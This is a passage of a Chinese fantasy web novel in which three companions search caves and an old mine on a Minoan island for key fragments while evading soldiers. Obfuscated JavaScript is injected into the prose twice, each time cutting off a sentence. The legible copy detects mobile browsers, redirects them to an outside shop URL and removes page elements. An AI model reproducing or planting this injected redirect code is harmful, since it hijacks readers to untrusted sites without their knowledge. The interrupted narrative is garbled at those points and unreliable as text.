阿尔克提斯和利诺斯凑过来。阿尔克提斯辨认着那个符号:“这是……一种非常古老的表示‘节点’或‘位置’的标记。这些划痕……”她数了数其中一组,“七道。旁边这组……五道。再旁边……十二道。不像普通的计数。” “距离?”利诺斯猜测,“从这个标记点到某个地方,需要走七步、五步、十二步?但方向呢?” 余茶的目光顺着岩壁延伸的方向望去,洞穴在此处有一个拐弯。“试试看。”她说。她不是提议,而是已经开始行动。她以那个符号为起点,朝着洞穴延伸的方向,小心地迈出步子,同时在心里默数。地面不平,她的“步”并不标准,但尽量保持一致。 七步之后,前方岩壁上,果然在发光矿物的微光映照下,出现了另一个浅浅的刻痕,这次是一个向上的箭头。 “是指引!”阿尔克提斯声音里透出一丝激动,“这是路径标记,说不定最早可以追溯到米诺斯人!” 他们精神一振,开始沿着标记指引的方向前进。标记并不连续,有时需要仔细寻找,有时拐角处会有方向指示,余茶发现,箭头或波浪线表示继续前行,岔路口会有分叉符号。洞穴变得更加复杂,出现了岔路,但标记始终指向其中一条。空气越来越潮湿,甚至能听到隐约的滴水声,那硫磺铁锈味中,又混入了一丝陈年烟熏火燎的气息,非常淡,却让余茶心头一跳——这味道,有点像古老的、长期使用的冶炼或锻造场所。 “我们……是不是在往岛屿深处走?”利诺斯忽然说,“而且,似乎在向下?” 余茶也有同感。虽然起伏不定,但总体感觉是在下降,远离海平面。地势的轻微倾斜和空气压力的微妙变化提示着这一点。 不知走了多久,时间在黑暗和专注的寻路中失去了意义。就在余茶的脚踝疼得几乎麻木,体力也快要透支时,前方的黑暗似乎……变得稀薄了一些。并非出现了新的光源,而是仿佛洞穴到了尽头,连接着一个更开阔的空间,有极其微弱的、不同于矿物冷光的、更稳定的暗淡光线从那边弥漫过来。 同时,一种新的声音出现了——不是滴水声,而是低沉、持续、宛如叹息般的风声,从一个固定的方向传来,带着某种奇特的韵律。 三人交换了一个眼神,放慢脚步,更加谨慎地向前挪去。通道在这里变得较为宽敞平整,人工修凿的痕迹更加明显,甚至能看到地面有铺设过石板的残迹。 他们来到了通道的出口。 眼前是一个巨大的、天然形成的地下石窟,比“爱科谷”那个存放金属门的石窟还要宏伟数倍。石窟的穹顶高不可辨,隐没在黑暗中。而光源,来自石窟中央—— 那里并非黑潭,而是一个巨大的、凹陷下去的圆形石坑,直径约有二三十步。石坑底部不是岩石,而是一种凝固的、呈现出暗红、漆黑与金属灰驳杂颜色的、琉璃状的坚硬物质,表面崎岖不平,布满气泡孔洞和流淌凝结的痕迹。而光,正是从这琉璃状物质深处透出来的——一种极其暗淡的、稳定的暗红色光晕,如同埋藏在地底深处、将熄未熄的巨大炭火,持续散发着微弱的热量和光芒,照亮了石坑周围有限的范围。 暗红的光映照着石坑边缘,那里散布着一些残破的、非自然的构造:半截倒塌的石砌平台、几根扭曲断裂的金属杆、还有散落的、形状奇特的陶制或石制器皿残片,大多覆盖着厚厚的灰烬和矿物质结壳。 更引人注目的是石坑对面的岩壁。在暗红光芒的映照下,可以看到岩壁上开凿出了一系列规则的壁龛和平台,上面似乎曾经放置过东西,如今大多空空如也。但其中一个位置较高的壁龛内,隐约能看到一个深色的、非天然的轮廓。 而那种低沉如叹息的风声,正是从石坑底部某个看不见的裂隙或通道中传来,带着地底深处的气息。 “赫菲斯托斯的……熔炉?”利诺斯喃喃道,声音里充满了前所未有的震撼,甚至一丝敬畏。“或者说,囚禁堤丰的伤口?” 阿尔克提斯没有说话,她向前走了几步,来到石坑边缘,低头凝视着那暗红的光源,身体微微颤抖。这不是恐惧,而是一种近乎朝圣的激动与明悟。“不是熔炉,也不是伤口……”她的声音发颤,“这是……地脉之心的一处‘显露点’,是古老力量最直接、最狂暴的宣泄口之一。米诺斯人没有建造它,他们发现了它,然后……试图控制、利用,或者至少……安抚它。” 她指向那些残破的构造和器皿:“看那些痕迹,那是引导能量、冷却物质、进行某种祭祀的设施遗迹。这里曾是一个……古老的祭祀工坊,或者,一个试图与大地之火对话的圣所。” 余茶忍着脚痛,也走到边缘。暗红的光映在她脸上,那热量微弱却持续。她看着坑底那如同地狱窗口般的景象,看着周围那些属于人类文明的残骸,一种冰冷的宿命感攫住了她。人类在如此狂暴的自然力量面前,竟曾试图建立秩序和对话。而秩序的崩塌,或许正是如今一切混乱的根源。 她的目光投向对面岩壁上那个有物品的壁龛。“那里……有东西。” 石窟虽然巨大,但石坑边缘有勉强可以通行的狭窄路径。三人小心翼翼地绕行过去。随着靠近,壁龛内的东西逐渐清晰。 那是一个石质的方台,台上放置着一个东西,被厚厚的灰尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余茶明白了。这是一场与时间、与自然力量、也与克里同追兵的死亡竞赛。他们必须赶在地脉彻底暴走毁灭岛屿之前,集齐碎片,找到并使用那“最后的”东西。但同时,他们的每一次进展,都在加速危机的到来。 “其他碎片在哪里?”利诺斯直接问到了关键。 阿尔克提斯将钥匙小心收好,目光再次投向岩壁上那些壁龛和平台,又看向石坑周围散落的遗迹。“这里曾是控制节点之一,或许也是保管重要组件的地方。但大部分东西都不在了。可能毁于灾难,也可能被转移到了其他‘眼’所在的位置进行保管或使用。”她回忆起石板地图,“我们现在在……这个位置。”她用手指在空中虚划,“‘循此脉’,从石峰‘眼’触发,指向这里。那么下一步,‘脉’的流向应该是指向……”她思索着地图上线条的曲折,“南湾礁石迷宫,或者……旧矿坑方向。” “哪个更近?哪个更可能藏有碎片?”利诺斯问。 “旧矿坑。”阿尔克提斯和余茶几乎同时说道。阿尔克提斯是基于对岛屿历史和家族传说的了解,而余茶则是基于简单的逻辑:矿坑是人工深入地下之处,与“地脉”、“能量”这些概念似乎更容易产生联系,也更容易隐藏东西。 “那就去旧矿坑。”利诺斯做出决定,“但怎么出去?原路返回肯定不行。” 他们的目光再次投向石窟四周。除了他们进来的通道,石坑底部那叹息风声的来源,似乎暗示着还有别的、通往地底深处的裂隙或通道。但那是绝路。 最终,是余茶在靠近石坑另一侧边缘的岩壁上,发现了一道极其隐蔽的、被垂挂的矿物结垢和碎石半掩的狭窄缝隙,有微弱的气流从里面吹出,带着更清新的、属于外界的气息。 “这里有风,通向外面。”她说。 缝隙极其狭窄,需要侧身挤入。里面是另一段曲折向上的天然裂缝,时而需要攀爬。不知在黑暗中挣扎了多久,当一丝真正的、属于黎明的灰白色天光从前方透入时,三人几乎要落下泪来。 他们从一个位于山腰灌木丛中的、极其隐蔽的石缝里钻了出来,浑身污秽,伤痕累累,精疲力尽。回头望去,那座孤悬的石峰在渐亮的晨光中只是一个遥远的剪影,石梁断裂处依然冒着淡淡的烟尘。港口方向,似乎比往常更加喧闹。 他们暂时逃出生天,获得了钥匙碎片,也窥见了地脉核心那可怖的一角。但前路更加凶险,时间更加紧迫。 阿尔克提斯握紧了怀中冰冷的石台钥匙,望向岛屿内陆旧矿坑的方向。余茶靠着一棵树,检查着自己再次渗血的脚踝,脸上没有任何表情,只有眼底深处掠过一丝对接下来必然更加艰难行程的评估与冰冷的厌倦。 利诺斯则望着港口的方向,若有所思,然后转头对两人露出一个疲惫却依旧带着玩味的笑容:“看来,我们得抓紧时间了。在克里同带领的科斯摩把整个岛翻过来找我们之前,在下面那位‘赫菲斯托斯’彻底发脾气之前。” 18. 旧矿坑的回响 黎明时分的山风带着刺骨的寒意,将昨夜石峰上的硝烟与血腥味吹散,却也带来了港口方向更加清晰的喧嚣。那不是日常的忙碌,而是一种混合着金属撞击、高声喝令、以及隐约哭喊的混乱声浪。克里同显然没有因石峰上的失利而罢手,相反,他正在将愤怒与恐惧转化为更彻底的清洗与控制。 “他在搜捕,而且范围在扩大。”阿尔克提斯侧耳倾听片刻,脸色凝重。她身上的猎装沾满了岩灰和血迹,几处撕裂,但背脊依然挺直。“石峰的崩塌和地脉异动,让他有了更充分的借口——‘搜捕引发神怒的渎神者’,或者‘清除危害岛屿安全的奸细’,都是老套的话术。” 利诺斯撕下另一条还算干净的里衬,用力绑紧小腿上已经凝结发黑、但依然隐隐作痛的伤口。他动作干脆,脸上没什么表情,仿佛在处理一件与自己无关的工具。“所以‘令人尊敬’的克里同,终于撕掉那层‘秩序与文明’的薄纱了。接下来,通往旧矿坑的路上,恐怕不会太平。” 余茶靠着一块冰冷的岩石,尽可能将身体的重量放在未受伤的脚上。脚踝处传来的疼痛已经变成一种持续不断的钝痛,提醒着她极限的临近。她听着远处的声音,心中快速盘算:大规模搜捕意味着主要道路、山口、水源地都可能被设卡或监视。他们三个,一个显眼的女祭司,一个腿伤行动不便的诗人,加上一个自己这个走路都成问题的异乡人,目标太大。 “不能走常规路线。”余茶开口,声音因疲惫和缺水而沙哑,“也不能再靠近任何山民村落。克里同一定会逼问他们,悬赏我们。” 阿尔克提斯点头,目光投向岛屿内陆方向层叠的山峦和森林。“旧矿坑在岛屿西北的山坳里,从这边过去,最隐蔽的路径是沿着‘脊线’走。”她指了指一道连绵起伏、植被相对稀疏的山脊轮廓,“那里视野好,易于发现追踪者,路难走,克里同的士兵不熟悉地形,大概率不会重点布防。缺点是……没有水源,暴露在日光和山风下,而且,”她看了一眼余茶和利诺斯的腿,“对脚力要求高。” “还有别的选择吗?”利诺斯问。 “有。沿着几条干涸的夏季河床走,隐蔽,但容易迷路,而且河床低洼,一旦被堵住,就是死地。或者,绕远路从南边的海岸峭壁下迂回,路程增加至少一倍,我们的补给撑不到。”阿尔克提斯分析得冷静而残酷,“脊线是风险与机会折中的选择。” “那就脊线。”余茶没有犹豫。她讨厌不可控的风险,也厌恶无意义的消耗。暴露和艰难,是可以预判并尝试克服的,只要信息充分、准备得当。她从希顿上又撕下几条布,将已经磨损得不像样的皮靴和脚踝缠得更紧,尽量减少摩擦和晃动。又从怀里掏出最后一点硬饼,分作三份,默默递给阿尔克提斯和利诺斯。 利诺斯接过,挑了挑眉:“最后的存粮?” “保持最低限度的热量摄入,才能走到矿坑。”余茶面无表情地嚼着干硬粗糙的饼,“如果矿坑里什么都没有,或者出不来,这点东西也改变不了结局。” 典型的余茶式逻辑:剥离所有情感和幻想,只计算生存的必要条件。阿尔克提斯看了她一眼,没说什么,也沉默地吃掉了自己那份。 短暂的休整后,三人离开藏身的灌木丛,开始向山脊攀爬。天色渐亮,灰蓝色的天空下,岛屿的轮廓清晰起来。港口方向的黑烟更加明显,不止一处。山脊上的风果然猛烈,几乎要将人吹倒,但也带来了更广阔视野的好处。他们能清晰看到下方几条主要小径上,偶尔有小小的、移动的火把光点或金属反光——那是克里同派出的搜索队。 他们尽量利用岩石和低矮灌木的阴影移动,行进速度缓慢。余茶的脚踝每一次落地都像踩在刀尖上,冷汗浸湿了后背,又被山风吹干,带来一阵阵寒战。她强迫自己将注意力集中在脚下岩石的纹理、前方路径的选择、以及远处可能出现的威胁上,用这种极度专注来对抗疼痛和疲惫。当身体成为累赘时,思维必须更加锋利。 利诺斯虽然腿伤,但动作依然带着一种猎食者般的轻盈与效率,他对地形的适应力惊人,常常能指出更省力或更隐蔽的落脚点。他很少说话,但淡琥珀色的眼睛始终警惕地扫视着周围,尤其是天空——偶尔掠过的飞鸟,它们的种类和飞行方向,似乎都能让他判断出一些信息。 中途,他们在一处背风的岩石凹槽里短暂躲避正午最炙热的阳光。没有水,喉咙干得冒烟。余茶感到一阵阵眩晕。她靠着岩壁,闭上眼睛,试图用冥想般的呼吸来节省体力。阿尔克提斯则拿出那把石台钥匙和黑色薄片,在阴影里反复比划、拼接,试图在脑海中复原完整钥匙的结构,以及推测其他碎片可能的形态和位置。 “如果钥匙是一个多部件的精密器物,”利诺斯忽然开口,声音干涩,“那么除了形状的吻合,会不会还需要……特定的顺序?或者,某些部件本身就是‘开关’或‘触发器’?” 阿尔克提斯动作一顿:“有可能。家族记载中提及过‘次序’和‘共鸣’。但具体是什么次序……”她摇头。 “也许,”余茶闭着眼,缓缓说道,“次序就藏在‘脉’的流向里。地图上那条连接七点的线,不是最短路径,可能本身就代表了启动或校准的步骤顺序。我们触发了石峰‘眼’,拿到了这里的碎片,下一步去矿坑……这本身,或许就在遵循某种‘次序’。” 这个想法让三人都沉默了片刻。如果他们的行动本身,就在无意中踏着古老仪式的步点,那他们的“自由意志”还剩多少?是被地脉的引力牵引,还是被失落的仪轨设计? 下午,他们继续跋涉。日头偏西时,终于抵达了山脊线的尽头,下方就是一片地势较低、植被茂密的山谷,山谷深处,隐约可见一片颜色更深、像是大地伤疤般的区域——旧矿坑的入口地带。 然而,就在他们准备寻找路径下山时,利诺斯突然抬手示意安静,并迅速伏低身体。 下方山谷边缘的树林里,火光闪动,不止一处,还有人声和犬吠! “他们搜到这边了。”阿尔克提斯压低声音,脸色难看,“比预想的快。” “不是专门搜这边,”利诺斯眯眼观察,“像是在……拉网式驱赶。看火把的移动方向和狗的叫声,他们在把可能藏人的区域,往矿坑方向驱赶包围。” 克里同的战术很清晰:利用人数和猎犬的优势,将大片山林中的可疑目标,很可能包括一些逃入深山的山民,压缩到几个易于控制的区域,比如这个三面环山、只有少数出口的旧矿坑山谷,然后瓮中捉鳖。 “不能下去。”余茶立刻判断,“下去正好被赶进包围圈。” “但也不能退回山脊,上面无遮无拦,天亮后就是活靶子。”利诺斯说。 他们的目光不约而同地投向了山谷侧翼——那里是近乎垂直的峭壁,长满了藤蔓和顽强的灌木。峭壁中下部,似乎有一些天然的岩架和凹陷。 “从峭壁下去,绕过他们的搜索线,直接接近矿坑入口。”阿尔克提斯做出了决定,这是目前唯一可能避开正面接触的路径。 峭壁攀爬比想象中更艰难。岩石风化严重,落脚点湿滑。藤蔓看似牢固,但许多已经枯死,一拉就断。利诺斯在前,用匕首在岩缝中制造临时的借力点,阿尔克提斯居中,余茶在最后,几乎用尽了手臂和未受伤的腿的力量在支撑,每一次下移都惊心动魄。脚踝的伤处传来一阵阵撕裂般的剧痛,她咬破了嘴唇才没叫出声,血腥味在口中弥漫。 下方,搜索队的火把和呼喝声越来越近,甚至能听到猎犬兴奋的吠叫。他们悬在半空,紧贴着岩壁,连呼吸都放到了最轻。 一只猎犬似乎嗅到了什么,在峭壁下方不远处狂吠起来,引来了几名士兵。火把的光向上晃照。 余茶屏住呼吸,身体紧紧贴住冰冷的岩石,手指死死抠住一道岩缝。她能听到自己的心跳如擂鼓。 火光照耀了片刻,士兵的交谈声传来:“……是野兽吧?这峭壁又平又滑,人能爬?” “队长说不能放过任何地方……要不放两箭试试?” 就在这时,上方岩缝中,几只被惊扰的夜栖蝙蝠扑棱棱地飞了出来,在火把光中乱窜。 “是蝙蝠,快走吧!”士兵骂骂咧咧,火把光移开了。 三人悬着的心稍稍落下,不敢耽搁,继续向下。终于,在夜色完全降临前,他们踩到了谷底松软潮湿的落叶层。矿坑入口那黑黝黝的、如同巨兽张口的轮廓,就在前方不到百步之处。 然而,矿坑入口附近却有几个火堆燃烧,隐约能看到几个身影守在火堆旁,似乎是克里同留下的驻守士兵,防止有人从矿坑另一头逃跑或潜入。 “入口被把住了。”利诺斯观察后低声道,“硬闯会惊动山谷里其他人。” 阿尔克提斯凝视着黑暗的矿坑入口,又抬头看了看峭壁方向。“矿坑……通常不止一个出口。为了通风和运输矿石,会有辅助的通道或通风井。” “你知道位置?”利诺斯问。 “大概方向。但需要找。”阿尔克提斯说,“而且,那些通道很可能已经坍塌或堵塞。” 就在这时,余茶的目光被矿坑入口侧后方一片异常茂密的、几乎将岩壁都覆盖了的藤蔓吸引。那片藤蔓在夜风中微微晃动,但晃动的节奏……似乎与风向不完全一致?而且,藤蔓根部的岩石颜色,与周围也有细微差别。 “那里,”她指向那片藤蔓,“后面可能有东西。岩壁颜色更新,藤蔓有人为整理过的痕迹,为了遮掩。” 阿尔克提斯和利诺斯顺着她指的方向看去,仔细辨认,也看出了端倪。 “去试试。”阿尔克提斯说。 他们借助阴影和灌木的掩护,悄然接近那片藤蔓。利诺斯用匕首小心地拨开厚厚的藤条——后面果然露出了一个低矮的、人工开凿的拱形洞口,不到一人高,里面黑漆漆的,有冷风从中吹出,带着浓重的尘土和矿物质的气味。 “通风井,或者废弃的运输道。”阿尔克提斯确认。 洞口太小,需要匍匐进入。里面一片漆黑,伸手不见五指。他们只能靠触摸和极其缓慢的移动前行。通道是向下倾斜的,地面布满碎石和厚厚的灰尘,空气沉闷,但确实有微弱的气流,说明并未完全堵死。 爬行了仿佛无尽的时间,通道逐渐变得宽敞了一些,可以弯腰行走了。四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226089|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的岩壁触手冰凉,有明显的开凿痕迹。远处,似乎传来极其微弱的、叮叮当当的、有节奏的敲击声?但那声音太模糊,时有时无,让人怀疑是幻觉还是地下水的滴答。 突然,走在前面的利诺斯猛地停住,举手示意。他侧耳倾听,低声道:“前面……有光。” 果然,在通道前方一个转弯处,隐约有极其微弱的、晃动的黄色光晕透出,还伴随着压低的人语声。 矿坑里有人,不是驻守入口的士兵,而是更深处。 三人立刻紧贴岩壁,屏息凝神。声音和光线是从侧面一条岔道传来的,距离他们藏身的这条主通风道似乎有段距离,但在这寂静的地下,声音被放大了。 “……必须再往深处挖……书记官说,任何可疑的古老器物,尤其是金属和石头拼合的东西,都要找出来……”一个略显粗哑的声音说。 “队长,这地方好像有亡灵……越往下越热,大家都说听到怪声……昨天斯路克还说看到影子晃……”另一个年轻些的声音带着恐惧。 “闭嘴!再胡说八道,就把你留在这下面陪那些米诺斯亡灵!赶紧的,这块岩壁凿开看看!”粗哑的声音呵斥道。 接着,是更清晰的金属凿击岩石的声音。 克里同的人,他们在主动挖掘寻找钥匙碎片。显然,他从石峰事件和地脉异动中,也推断出这些古老节点和器物的重要性,不再满足于收缴表面祭祀古物,开始有目的地进行地下搜索了。 阿尔克提斯脸色铁青。利诺斯眼中闪过一丝冷光。余茶的心沉了下去——这意味着,他们不仅要和时间、地脉赛跑,还要和克里同的搜索队竞争。而且对方人多,有工具,有补给。 不能硬碰。必须绕开他们,找到可能存放碎片的核心区域。 阿尔克提斯示意后退,寻找其他岔路。通风道系统错综复杂,他们像盲人一样在黑暗中摸索,避开有声音和光线的区域。温度在慢慢升高,空气中那股硫磺和金属的味道越来越浓,甚至让人有些呼吸困难。地底那种低沉的嗡鸣声在这里变得清晰可辨,仿佛就在脚下不远处搏动。 终于,在尝试了几条死路之后,他们找到了一条向下倾斜角度更大、开凿痕迹最为古旧、且没有任何近期活动痕迹的通道。通道尽头,是一扇破损的、半开着的厚重木门,木门已经腐朽不堪,门轴锈死。 推开门,里面是一个不大的石室。石室中央,有一个石台,和之前那个存放石台钥匙的石室很像。但这里的石台是空的。石室一角,散落着一些陶罐碎片和锈蚀的金属工具残骸。 “被拿走了?还是本来就没有?”利诺斯检查着石台。 阿尔克提斯则在石室墙壁上仔细寻找。在靠近门口一处不起眼的角落,她发现了一些用矿物颜料绘制的、几乎褪色的符号。符号指向石室后方一面看似完整的岩壁。 她摸索着岩壁,在某处用力一推——一块厚重的石板竟然向内旋转,露出了后面一个更小的、黑漆漆的密室! 密室里,同样有一个石台。石台上,放着一个铜制成的、形状像多齿耙子或复杂梳子般的器物,大小与之前的石台钥匙相仿,但结构更加复杂,那些“齿”长短不一,形状奇特,上面同样镶嵌着黑色片状物。新的钥匙碎片! 然而,就在阿尔克提斯伸手去拿的刹那—— “轰隆!!!” 整个矿坑,不,是整个地下空间,猛然间剧烈摇晃起来,比石峰上那次还要猛烈。巨大的石块从头顶崩落,灰尘弥漫。远处传来克里同士兵惊恐的尖叫和奔跑声! 地脉再次被强烈扰动,这一次,不是因为他们的仪式,而是因为……克里同手下在另一处的盲目挖掘,很可能破坏或触动了某个关键的结构。 震动中,那铜耙子从石台上滑落,阿尔克提斯扑过去,险险抓住! “快走!这里要塌了!”利诺斯吼道,冲过来拉起几乎站立不稳的余茶。 三人冲回主通道,在剧烈的摇晃和不断落下的碎石尘土中,拼命朝着记忆中来时的方向奔逃。身后,坍塌的轰隆声和岩石断裂的巨响不绝于耳,仿佛整个矿坑都在哀嚎、解体。 不知跑了多久,当他们终于连滚带爬地冲出那个低矮的通风井口,重新呼吸到冰冷但自由的夜风时,身后矿坑入口方向,传来了更大规模的山体滑动和轰鸣声,以及驻守士兵惊慌失措的呼喊。 他们瘫倒在谷底的落叶中,浑身被汗水和灰尘湿透,狼狈不堪。阿尔克提斯紧紧抱着那冰冷的铜耙子碎片,余茶蜷缩着身体,脚踝处的疼痛已经麻木。利诺斯撑着膝盖,剧烈喘息,脸上第一次露出了毫不掩饰的后怕。 又一次,他们拿到了碎片,在坍塌的边缘逃生。 但代价是,地脉的愤怒显然更上一层楼。而克里同,也必将因这次矿坑事故,变得更加疯狂和不顾一切。 远处山峦的轮廓在夜色中沉默着,仿佛在注视着这些渺小生灵的挣扎。那地底深处的暗红光晕与咆哮,似乎正穿透岩层,隐隐染红了低垂的云层边缘。 七眼之脉,正在加速苏醒。而握有三块碎片的他们,已被彻底绑在了这辆奔向未知终点的、失控的战车上。 19. 礁石间的交易 坍塌的轰鸣声在身后逐渐低沉、消散,最终化为山谷中一阵持久的尘土飞扬和零星碎石滚落的窸窣。夜色重新拥抱了惊魂未定的三人,但空气中弥漫的尘土味和硫磺气息,以及远处矿坑方向隐约传来的、混杂着哭喊与命令的喧嚣,都提醒着他们:短暂的喘息代价高昂。 阿尔克提斯靠在冰冷的树干上,怀抱着那块救出的铜耙子碎片,手指无意识地摩挲着上面冰冷的金属凸起和光滑的黑色镶嵌物。她的脸上覆盖着岩灰和汗渍,眼神却亮得吓人,那是一种混合着后怕、狂热的探究欲以及沉重责任的复杂光芒。三块碎片了……她从未如此接近家族失落的传承核心,也从未如此清晰地感受到脚下大地那日益狂躁的脉搏。 利诺斯挑选了一会儿,撕下一段相对干净的衣料,处理着自己腿上崩裂得更加厉害的伤口。他动作依旧干脆,但眉头紧锁,呼吸因疼痛而略显粗重。“‘令人尊敬’的克里同,”他扯了扯嘴角,试图恢复那种惯常的玩味语气,却因为牵动伤口而显得有些扭曲,“今晚怕是要气得睡不着了。损失人手,矿坑坍塌,还没找到他想要的东西……当然,我们也替他省了不少挖掘的功夫。”他指的是怀中那三块碎片。 余茶蜷缩在一块略微干燥的岩石凹陷处,几乎无法动弹。脚踝的肿胀已经蔓延到了小腿,皮肤在破烂的靴子和布条束缚下呈现出不祥的紫黑色。每一次心跳都似乎将疼痛泵向全身,寒冷、脱水和极度的疲惫让她的视线都有些模糊。但她的大脑还在运作,以一种近乎残忍的客观分析着现状:移动能力几乎归零;追兵近在咫尺且必然因矿难而更加疯狂;地脉扰动加剧,未知危机在迫近;手中有三块碎片,但不知道如何使用、还缺多少、以及最终目的是什么。 这就像一个拼图游戏,他们拿到了几块关键的边角,却不知道整幅图画的样貌,甚至不知道拼完的后果,而房间正在着火,还有敌人虎视眈眈。此刻连“暂时安全”都是一种奢望。她甚至开始怀念帝都那套小小的公寓,至少那里可以叫外卖止痛药,危险最多来自难缠的客户和糟糕的天气。 “不能留在这里。”阿尔克提斯的声音打破了沉默,带着不容置疑的决断,“矿坑坍塌会吸引所有人过来,包括搜山的队伍。天亮前,我们必须离开这片山谷。” “怎么离开?”利诺斯包扎好伤口,抬头看向她,又瞥了一眼几乎无法站立的余茶,“背着走?还是指望她的脚突然痊愈?” 余茶没有反驳,只是冷冷地回视他:“如果你有更好的建议,比如原地变出一艘船或者一个地洞,请便。”她声音虚弱却刻薄。 阿尔克提斯没有理会两人之间紧绷的气氛,她站起身,望向南方——那是岛屿海岸线的方向。“去南湾。礁石迷宫是地图上下一个‘眼’的可能位置。而且,那里靠海,如果……如果真的走投无路,至少还有一条退路。”她没说退路是什么,但所有人都明白——跳海,听天由命。 “南湾距离这里不近,而且要穿过至少两道可能有埋伏的山口。”利诺斯指出现实困难,“她的脚撑不到。” “那就找代步工具。”阿尔克提斯的目光变得锐利起来,她看向利诺斯,“你不是认识很多‘朋友’吗?港口那些商船主,那些跑短途走私的渔夫,总有一两个,在夜晚愿意为了足够的报酬,悄悄送几个人去南湾吧?” 利诺斯沉默了片刻,淡琥珀色的眼睛在黑暗中评估着。这又是一个交易,风险极高:“还没到最后一步,所以大祭司要保存实力吗?好吧,作为同伴,我愿意出力。现在港口肯定被克里同严加控制,盘查所有出入船只。而且,我们这副样子,任何有眼睛的人都会起疑。” “所以需要伪装,和一個足够有说服力的理由,以及……”阿尔克提斯顿了顿,“一個对方无法拒绝,或者至少愿意冒险的价码。” 价码。他们现在除了三块不知价值的古老碎片,几乎一无所有,而碎片绝不能泄露。 余茶忽然开口,声音很低:“张姐那里应该还有我的尾款。如果……如果能联系到外界,或许可以承诺一笔远高于市价的酬金。”她说的是现代世界的货币,在这个时空毫无意义。她说出口的瞬间,意识到自己的思维不仅开始混乱,而且还困在旧的逻辑里,一种更深层的无力感攫住了她。 “我可能发烧了,都开始说胡话了。”余茶心中泛起忧愁。 利诺斯却似乎从她的话里得到了启发。“酬金……不一定非得是钱。”他慢慢说道,眼神闪烁,“信息,有时比钱更值钱。尤其是关于‘岛上真正发生了什么’、‘科斯摩在找什么’,以及……‘哪里可能还藏着未被发现的、值钱的古老玩意儿’这类信息。对于那些嗅觉灵敏、喜欢冒险又对克里同不满的船长来说,这可是能在黑市卖上好价钱,或者用来和科斯摩讨价还价的硬通货。” “你要出卖信息?”阿尔克提斯眼神一冷。 “不是出卖‘我们’的信息,”利诺斯纠正道,“是加工过的、半真半假的。比如,透露矿坑深处可能有米诺斯宝藏的线索,但隐瞒钥匙碎片的具体信息和地脉危机。暗示克里同正在疯狂搜寻,先到先得。对于那些早就对岛上古老传说将信将疑、又不满克里同想强行推行的新政的外来船主来说,足够有诱惑力了。他们不需要知道全部真相,只需要一个值得冒险的理由和一点‘内幕消息’。” 这就是利诺斯办事的风格:制造信息不对称,利用他人的贪婪和好奇心,在夹缝中为自己谋取通道。危险,但可能是目前唯一可行的办法。 阿尔克提斯权衡着。这意味着要将水搅得更浑,可能引来更多觊觎者,增加变数。但比起坐以待毙,至少是一条能动的路。 “……你需要多久?怎么联系?”她最终问道。 “给我半天时间,入夜后行动。我需要先去山谷东边那个小渔村,那里有几条不怕事的小船,船主我打过交道。”利诺斯估算着,“至于她,”他看向余茶,“必须找个地方藏起来,不能移动。” 阿尔克提斯点头:“我知道山谷深处有一个猎人用的废弃木屋,很隐蔽。我带她去那里。日落时分,我们在木屋汇合。如果你没来,或者带来了尾巴……”她没有说下去,但眼神说明了一切。 计划就此定下。阿尔克提斯搀扶起余茶,几乎是用半背半拖的方式,带着她消失在茂密的丛林深处。利诺斯则辨认了一下方向,朝着东边潜行而去,身影很快被林木吞没。 废弃的木屋比想象中更破败,但结构尚存,能挡风遮露。阿尔克提斯将余茶安置在相对干燥的角落,用屋里找到的、不知多久前的破旧兽皮给她盖上,然后出去了一趟,回来时手里拿着几把草药和一只用皮囊装着的清水。 “嚼了,敷在脚踝上。”她将草药递给余茶,自己则出去收集了一些干柴,在屋角一个石砌的、带有排烟孔的旧火塘里生起一小堆火。火光驱散了部分寒冷和黑暗,也带来了些许虚幻的安全感。 阿尔克提斯坐在火边,再次拿出三块碎片,在火光下仔细拼合、研究。铜杯内的“监察者之印”陶片、沉重的石台钥匙、复杂的铜耙子……它们边缘的某些凸起和凹槽确实隐隐呼应,但显然还缺少关键部分,无法形成一个完整器物。她试图回忆家族记载中任何关于“多部件圣物”的描述,但记忆依旧破碎。 余茶嚼着苦涩的草药,将其敷在肿痛的脚踝上,一阵清凉暂时压住了火辣。她看着跳动的火焰,看着阿尔克提斯专注的侧影,忽然问:“就算集齐了,你知道怎么用吗?‘校准或封印’,你选哪个?” 阿尔克提斯的手顿了顿,没有立刻回答。火光在她脸上投下晃动的阴影。“……我的职责是守护岛屿,平衡古老力量与现世生活。如果‘校准’意味着恢复地脉的稳定,让岛屿免受毁灭,那自然是最佳选择。但如果‘校准’的过程或结果,会带来无法预知、甚至更可怕的变化……”她沉默了片刻,“‘封印’,或许是不得已的最终手段。但封印之后呢?那些依赖地脉微妙平衡而存在的东西——特殊的泉眼、某些作物、甚至岛屿本身的地质结构——可能会逐渐衰败或改变。这也是代价。” “听起来,怎么选都是赌。”余茶干巴巴地说。 “信仰本身,有时就是一种权衡与选择。”阿尔克提斯收起碎片,看向余茶,“你呢?如果真有那么一个机会,可以让你回到你来时的地方,你会怎么选?即使这可能意味着放弃得知一切真相?” 余茶愣了一下。她没料到阿尔克提斯会突然问这个。回到帝都?回到那两套小小的公寓,继续做自由翻译,为稿费和人斤斤计较,定期减肥,鉴赏那些买不起或舍不得买的珠宝设计? 当然想回去!可是如果不弄清真相,回去后又被扔到未知的危险里呢?那曾是她安全感所有来源的生活,在不解开这些谜团前,只是轻飘可笑的虚妄。 “我……”她张了张嘴,发现自己竟然无法立刻给出肯定答案。不是对这里有了归属,而是如果回去,她会不会永远活在“那场未解之谜”的阴影下?但留下,又分明是死路一条。 